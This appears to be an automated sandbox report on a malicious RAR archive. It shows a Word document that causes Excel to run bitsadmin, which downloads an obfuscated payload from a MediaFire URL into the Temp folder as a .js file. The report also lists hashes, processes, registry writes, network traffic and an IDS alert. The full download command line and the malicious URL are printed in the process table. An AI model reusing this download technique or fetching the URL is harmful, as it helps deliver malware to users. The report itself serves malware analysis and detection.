| File name: | C:\Users\admin\Desktop\test2.rar |
| Full analysis: | https://app.any.run/tasks/43217a82-eac2-4d58-8a62-6c23d898f66e |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 17, 2019, 17:37:57 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | B80D25B2EAAEBF29EC3D827845331A7F |
| SHA1: | BBBC72952FEA349B1F58BD7107163F9BEFD90A19 |
| SHA256: | 1CC34EEE0238CC34846AC01B2B50E1195BC7919F787E9974D49577E724CE6000 |
| SSDEEP: | 1536:skAluMAjHtm1m7CkYRM4jxiHfwBZxHE1k5DPP:TARUmXRMsUd1cDn |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3028)
Uses BITADMIN.EXE for downloading application
- EXCEL.EXE (PID: 3028)
SUSPICIOUS
No suspicious indicators.INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3028)
- WINWORD.EXE (PID: 3216)
Creates files in the user directory
- WINWORD.EXE (PID: 3216)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
36
Monitored processes
4
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2344 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal http://download1591.mediafire.com/dvxx4wkx2qzg/lqn7rd8dez3cvmc/obfuscated.tmp C:\Users\admin\AppData\Local\Temp\\pepe.js | C:\Windows\System32\bitsadmin.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2149580817 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2924 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\test2.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3028 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3216 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\test2.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
Total events
1 106
Read events
1 021
Write events
76
Delete events
9
Modification events
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\test2.rar | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (2924) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin |
| Operation: | write | Name: | Placement |
Value: 2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000 | |||
Executable files
0
Suspicious files
0
Text files
2
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2924 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb2924.22005\test2.docx | — | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRFE1D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3028 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR222F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\test2.docx.LNK | lnk | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E38B7067.emf | emf | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 3216 | WINWORD.EXE | C:\Users\admin\Desktop\~$test2.docx | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 302 | 199.91.152.91:80 | http://download1591.mediafire.com/dvxx4wkx2qzg/lqn7rd8dez3cvmc/obfuscated.tmp | US | — | — | malicious |
— | — | HEAD | 200 | 104.19.194.29:80 | http://www.mediafire.com/download_repair.php?flag=4&dkey=dvxx4wkx2qz&qkey=lqn7rd8dez3cvmc&ip=31.204.155.49&ref=3 | US | — | — | shared |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 104.19.194.29:80 | www.mediafire.com | Cloudflare Inc | US | shared |
— | — | 199.91.152.91:80 | download1591.mediafire.com | MediaFire, LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
download1591.mediafire.com |
| malicious |
www.mediafire.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | SC BAD_UNKNOWN Request, which might be made by Trojan-Downloader.MSOffice.DdeExec |